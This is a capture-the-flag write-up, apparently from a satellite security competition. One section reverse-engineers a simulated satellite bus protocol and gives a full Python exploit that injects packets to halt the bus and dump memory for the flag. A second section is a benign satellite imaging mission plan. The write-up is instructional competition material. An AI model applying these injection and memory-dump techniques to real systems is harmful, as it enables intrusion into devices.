#+BEGIN_QUOTE There's a very busy bus we've tapped a port onto, surely there is some juicy information hidden in the device memory... somewhere... #+END_QUOTE ** Write-up :PROPERTIES: :CUSTOM_ID: write-up-4 :END: by [[https://qtp2t.club/][hazel (=arcetera=)]] *I hate this problem. I hate this problem. I hate this problem. I hate this problem. I literally hate this problem so much. This problem made me cry. I have literally no words to describe the exact extent to which this problem has driven me insane. This problem taunts me in my sleep. This problem taunts me while I am awake. The extent to which I despise this problem is beyond words. I hate this. I hate whoever made this. I want to burn this problem to the ground. This problem has achieved active sentience and holds malice against me and the rest of my team specifically. Had the competition not ended, this problem would hold the rest of the world hostage.* Furthermore, much of this writeup is /failed/ attempts at a solution. Other writeups may be more useful at determining success, despite our team eventually finding a solution. ...anyway... When netcatting into the server, a series of hex bytes appears. A cursory analysis of these bytes reveals that all packets start with =^= and end with =.=, aside from lines starting with byte CA. Decoding the data beginning with byte CA reveals some 🧃🧃🧃. This output has =\xca\x00= stripped: #+BEGIN_EXAMPLE b'\xb2M*\xf9H\xacyvQ}\xd4\xf2\xa0\xcd\xc9Juicy Data 03\x00M\xae@\x9a\xd89\xe2\x85\xb2Y\xd6/-\xc9\xd0\xfb\x92\xd2\xc4Y\xaa[ B\xc6\xb5' #+END_EXAMPLE I prefer water though. #WaterDrinkers While I was asleep, the rest of the team managed to reverse the protocol to a decent extent. Namely, the format for strings beginning with =:\x00\x00>= and =:\x00\x00?= and ending with =?= is: - =\0x000000= (6 bytes) - @ or ? - A (7 bytes) - @ (2 bytes) - @ or ? - =\xc1= (3 bytes) An example: #+BEGIN_EXAMPLE b'\x00\x00\x008\x94S@\xc8.@A\x01:\xa0\xc0i\x11\xa1@|.@\xc1\x9b\x1c\xe6?' : 00:00:00 > 38:94:53:40:c8:2e @ 1:3a:a0:c0:69:11:a1 @ 7c:2e @ 9b:1c:e6 ? #+END_EXAMPLE The following Python code decodes this packet structure: #+BEGIN_SRC python def to_hex(b): return ':'.join(hex(x)[2:] for x in b) def decode_pkt(b): if len(b) == 0: return if b[0] == 0xCA: pass # raw data? elif b[0] == ord(':'): if b[3] == ord('>') or b[3] == ord('?'): # > or ? field1 = to_hex(b[7:13]) # 6 bytes field1end = chr(b[13]) # field2 = to_hex(b[15:22]) # 7 bytes if b[22] != ord('@'): print('b[22] should be @ but is {}'.format(chr(b[22]))) field3 = to_hex(b[23:25]) field3end = chr(b[25]) c1 = b[26] field4 = to_hex(b[27:30]) if b[30] != ord('?'): print('b[30] is not ?') print(': 00:00:00 > {} {} {} @ {} {} {} ?'.format(field1, field1end, field2, field3, field3end, field4)) elif b[0] == ord(';'): print('delimiter') # end of previous packet? else: print(b[0]) print('unknown data') print('\n') #+END_SRC Noting a delay between packets led me to derive the following packet structure: - START packet, which is equal to the preceding END packet - ONCE call, which occurs prior to a... - ONCE packet - JUICY DATA - END call - END packet, which is equal to the next START packet This proved to be incorrect, but more on that later. The following code differentiates between these packets from the netcat, where the variable =rawn= is the raw byte string: #+BEGIN_SRC python start = True while True: r.recvuntil('^') raw = r.recvuntil('.') rawn = bytes([94]) + raw print(rawn) v = raw.decode().split('+') del v[-1] h = bytes([int(i, 16) for i in v]) if h == b';\x00\x00?': print("ONCE CALL") elif h == b';\x00\x00>': print("END CALL") elif h.startswith(b':\x00\x00?'): print(f"ONCE: {h[4:]}") elif h.startswith(b':\x00\x00>'): # notable delay between start and end each time if start: print(f"START: {h[4:]}") start = False else: print("INJECTING") r.send(inj) print(f"END: {h[4:]}") start = True elif h.startswith(b'\xca'): print(f"JUICE: {h}") else: print(f"???: {h}") sys.stdout.flush() #+END_SRC I then noticed that post-text the string =\x00R\x01\x1e{\x81G\x00\xc9\x9d\xe3\xe7\xc2#6= had the characters ={= and =6= at the same point as =flag{oscar39616kilo=, which would correspond to a flag. I graphed this and tried to find a function (or multiple) modeling a relation here, but with R2 being something like 0.39 for every relation I tried, this was extremely unlikely. We then tried reading the data sequentially from the buffer, from Juicy Data 00 to 04. Here's the entire string: #+BEGIN_EXAMPLE 00000000: 4a75 6963 7920 4461 7461 2030 3000 c8f7 Juicy Data 00... 00000010: eb15 963d 6b70 5cc9 2c5e d5cf 5c31 9919 ...=kp\.,^..\1.. 00000020: 779a c6a9 0865 8d55 926a 372c 00ff 23eb w....e.U.j7,..#. 00000030: 14b9 297f 2985 4856 e31d 2558 58be 59c6 ..).).HV..%XX.Y. 00000040: 4a75 6963 7920 4461 7461 2030 3100 5201 Juicy Data 01.R. 00000050: 1e7b 8147 00c9 9de3 e7c2 2336 817c fcd9 .{.G......#6.|.. 00000060: 9b6b 3a1f 68f0 35ce dd77 35ca dc87 ccfa .k:.h.5..w5..... 00000070: 024d 4102 16df e5fd a108 3322 842f fc1f .MA.......3"./.. 00000080: 4a75 6963 7920 4461 7461 2030 3200 c08f Juicy Data 02... 00000090: e702 91fd e177 fb82 7f2e a504 5ea1 23f9 .....w......^.#. 000000a0: d762 fcfd d5cd 00c0 d4ce 8661 6847 f14f .b.........ahG.O 000000b0: 4982 4d2a f948 ac79 7651 7dd4 f2a0 cdc9 I.M*.H.yvQ}..... 000000c0: 4a75 6963 7920 4461 7461 2030 3300 4dae Juicy Data 03.M. 000000d0: 409a d839 e285 b259 d62f 2dc9 d0fb 92d2 @..9...Y./-..... 000000e0: c459 aa5b 2042 c6b5 6193 b3c6 5001 7590 .Y.[ B..a...P.u. 000000f0: 9b4d ca7e d27c d7a9 ac04 727c ff04 4ec4 .M.~.|....r|..N. 00000100: 4a75 6963 7920 4461 7461 2030 3400 5a83 Juicy Data 04.Z. 00000110: 2524 01f8 a0d8 a14c dc13 c8dc 1717 a075 %$.....L.......u 00000120: 10bf f24b a525 e81e 0c4b e8f3 ...K.%...K.. #+END_EXAMPLE Unfortunately, nothing meaningful was derived from this. There are a ={= and =}= with bytes between them, but they aren't flag length. I noticed that injecting instructions performed something, but I didn't think it did anything notable. I injected various data at various points, but I never managed to break out at the previous region of memory... which is where gashapwn's /incredible/ work came in. If the packet =^3b+00+00+00.= is sent, the bus /stops sending data/, which is decidedly confirmation that the server accepts data. Each of the following injects has the same effect: #+BEGIN_EXAMPLE ^3b+00+00+30+. ^3b+00+00+31+. ^3b+00+00+32+. ^3b+00+00+33+. ^3b+00+00+34+. ^3b+00+00+34+. ^3b+00+00+35+. ^3b+00+00+36+. ^3b+00+00+37+. #+END_EXAMPLE In practice, only this last packet is needed to shut down the server. Anything of the form of =^3b+00+00+XX+.= where XX<38 shuts it down, but only 37 enables dump mode. This can probably be done with a fuzzer. Why has God abandoned us? What accursed malfunction did we do to deserve this fate? If you send the packet =^ca+00+44+79+20+44+61+74+61+20+30+31+00+52+01+1e+7b+81+47+00+.....+87+cc+.=, the same packet is sent back. This means that the juice packets deliminated with =\xca= are actually instructions. By playing with the packet, the format appears to go: - Byte 0: CA - Byte 1-2: Memory offset - Byte 3-end: Size of memory to return ...so if we ask for a really large chunk of data, we can get a dump. With the inject: #+BEGIN_EXAMPLE b"^3b+00+00+37+." b"^ca+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+....+00+00+." #+END_EXAMPLE we can query for everything in memory. And we did. *** Full code :PROPERTIES: :CUSTOM_ID: full-code-3 :END: #+BEGIN_SRC python #!/usr/bin/env python3 import time import sys from pwnlib import tubes TICKET = 'THE_TICKET' r = tubes.remote.remote('bus.satellitesabove.me', 5041) r.send(TICKET+'\n') time.sleep(0.5) r.recvuntil('Ticket please:\n', drop=True) def to_hex(b): return ':'.join(hex(x)[2:] for x in b) def decode_pkt(b): if len(b) == 0: return if b[0] == 0xCA: pass # raw data? elif b[0] == ord(':'): if b[3] == ord('>') or b[3] == ord('?'): # > or ? field1 = to_hex(b[7:13]) # 6 bytes field1end = chr(b[13]) # field2 = to_hex(b[15:22]) # 7 bytes if b[22] != ord('@'): print('b[22] should be @ but is {}'.format(chr(b[22]))) field3 = to_hex(b[23:25]) field3end = chr(b[25]) c1 = b[26] field4 = to_hex(b[27:30]) if b[30] != ord('?'): print('b[30] is not ?') print(': 00:00:00 > {} {} {} @ {} {} {} ?'.format(field1, field1end, field2, field3, field3end, field4)) elif b[0] == ord(';'): print('delimiter') # end of previous packet? else: print(b[0]) print('unknown data') print('\n') start = True inj = b"^3b+00+00+37+." inj2 = b"^ca+" + (b"00+" * 512) + b"." dont = False inj2_b = False print("Injection: " + inj.decode("utf-8")) while True: r.recvuntil('^') raw = r.recvuntil('.') rawn = bytes([94]) + raw print(rawn) v = raw.decode().split('+') del v[-1] h = bytes([int(i, 16) for i in v]) if h == b';\x00\x00?': print("ONCE CALL") elif h == b';\x00\x00>': print("END CALL") elif h.startswith(b':\x00\x00?'): print(f"ONCE: {h[4:].hex()}") elif h.startswith(b'\x3b\x00\x00\x37'): print("SHUT DOWN SUCCESSFUL") dont = True inj2_b = True print("INJECTING AGAIN") r.send(inj2) elif h.startswith(b':\x00\x00>'): # notable delay between start and end each time if start: print(f"START: {h[4:].hex()}") start = False elif inj2_b == False: print("INJECTING") r.send(inj) print(f"END: {h[4:].hex()}") start = True else: print("INJECTING AGAIN") r.send(inj2) print(f"END: {h[4:].hex()}") start = True elif h.startswith(b'\xca'): print(f"JUICE: {h}") else: dont = True print(f"???: {h.hex()}") if not dont: decode_pkt(h) dont = False sys.stdout.flush() #+END_SRC Run it: #+BEGIN_EXAMPLE λ has-writeup/satellite-bus/magic-bus python magic-bus.py .... JUICE: b'.....v\xaf\xe88\x856Mflag{oscar39616kilo:GCxmhORYa65Y0PmRtFmlFSBmnvImEiWg.....' #+END_EXAMPLE Hey look, a flag! I hate this problem so much. At the time of me writing this, it's 1:30 AM and I'm sitting in my kitchen on my Lenovo(tm) ThinkPad(tm) T440(tm). I genuinely don't know how this got so many solves. I hate this. Goodnight. ** Resources and other writeups :PROPERTIES: :CUSTOM_ID: resources-and-other-writeups-5 :END: - God I wish there was any \newpage * Good Plan? Great Plan! :PROPERTIES: :CUSTOM_ID: good-plan-great-plan :END: *Category*: Space and Things *Points (final)*: 77 *Solves*: 54 #+BEGIN_QUOTE Help the Launchdotcom team perform a mission on their satellite to take a picture of a specific location on the ground. No hacking here, just good old fashion mission planning! #+END_QUOTE #+BEGIN_QUOTE The current time is April 22, 2020 at midnight (2020-04-22T00:00:00Z). We need to obtain images of the Iranian space port (35.234722 N 53.920833 E) with our satellite within the next 48 hours. You must design a mission plan that obtains the images and downloads them within the time frame without causing any system failures on the spacecraft, or putting it at risk of continuing operations. The spacecraft in question is USA 224 in the NORAD database with the following TLE: #+BEGIN_EXAMPLE 1 37348U 11002A 20053.50800700 .00010600 00000-0 95354-4 0 09 2 37348 97.9000 166.7120 0540467 271.5258 235.8003 14.76330431 04 #+END_EXAMPLE You need to obtain 120 MB of image data of the target location and downlink it to our ground station in Fairbanks, AK (64.977488 N 147.510697 W). Your mission will begin at 2020-04-22T00:00:00Z and last 48 hours. You are submitting a mission plan to a simulator that will ensure the mission plan will not put the spacecraft at risk, and will accomplish the desired objectives. #+END_QUOTE ** Write-up :PROPERTIES: :CUSTOM_ID: write-up-5 :END: by [[https://qtp2t.club/][hazel (=arcetera=)]] In the time range [2020-04-22 00:00:00, 2020-04-23 23:59:00], the USA 224 satellite as given in the TLE above reaches the Iranian space port twice: - Around 09:28 on 2020-04-22 - Around 09:50 on 2020-04-23 This was found in GPredict after loading in the TLE given in the netcat. Additionally, the USA 224 reaches the ground station in Alaska twice: - Around 10:47 on 2020-04-22 - Around 11:10 on 2020-04-23 The rest of the strategy is pretty much just to use trial and error: - Image for as long as possible until the battery runs dry or we're out of range - Downlink for as long as possible until the battery runs dry or we're out of range - Desaturate the wheels about an hour before they exceed maximum velocity *** Full plan :PROPERTIES: :CUSTOM_ID: full-plan :END: #+BEGIN_EXAMPLE 2020-04-22T00:00:00Z sun_point 2020-04-22T09:28:00Z imaging 2020-04-22T09:35:00Z sun_point 2020-04-22T10:47:00Z data_downlink 2020-04-22T10:50:00Z wheel_desaturate 2020-04-22T11:30:00Z sun_point 2020-04-23T08:50:00Z wheel_desaturate 2020-04-23T09:30:00Z sun_point 2020-04-23T09:50:00Z imaging 2020-04-23T09:56:00Z sun_point 2020-04-23T11:10:00Z data_downlink 2020-04-23T11:14:00Z sun_point 2020-04-23T22:00:00Z wheel_desaturate #+END_EXAMPLE ** Resources and other writeups :PROPERTIES: :CUSTOM_ID: resources-and-other-writeups-6 :END: - [[http://gpredict.oz9aec.net/]] - [[https://en.wikipedia.org/wiki/Two-line_element_set]] \newpage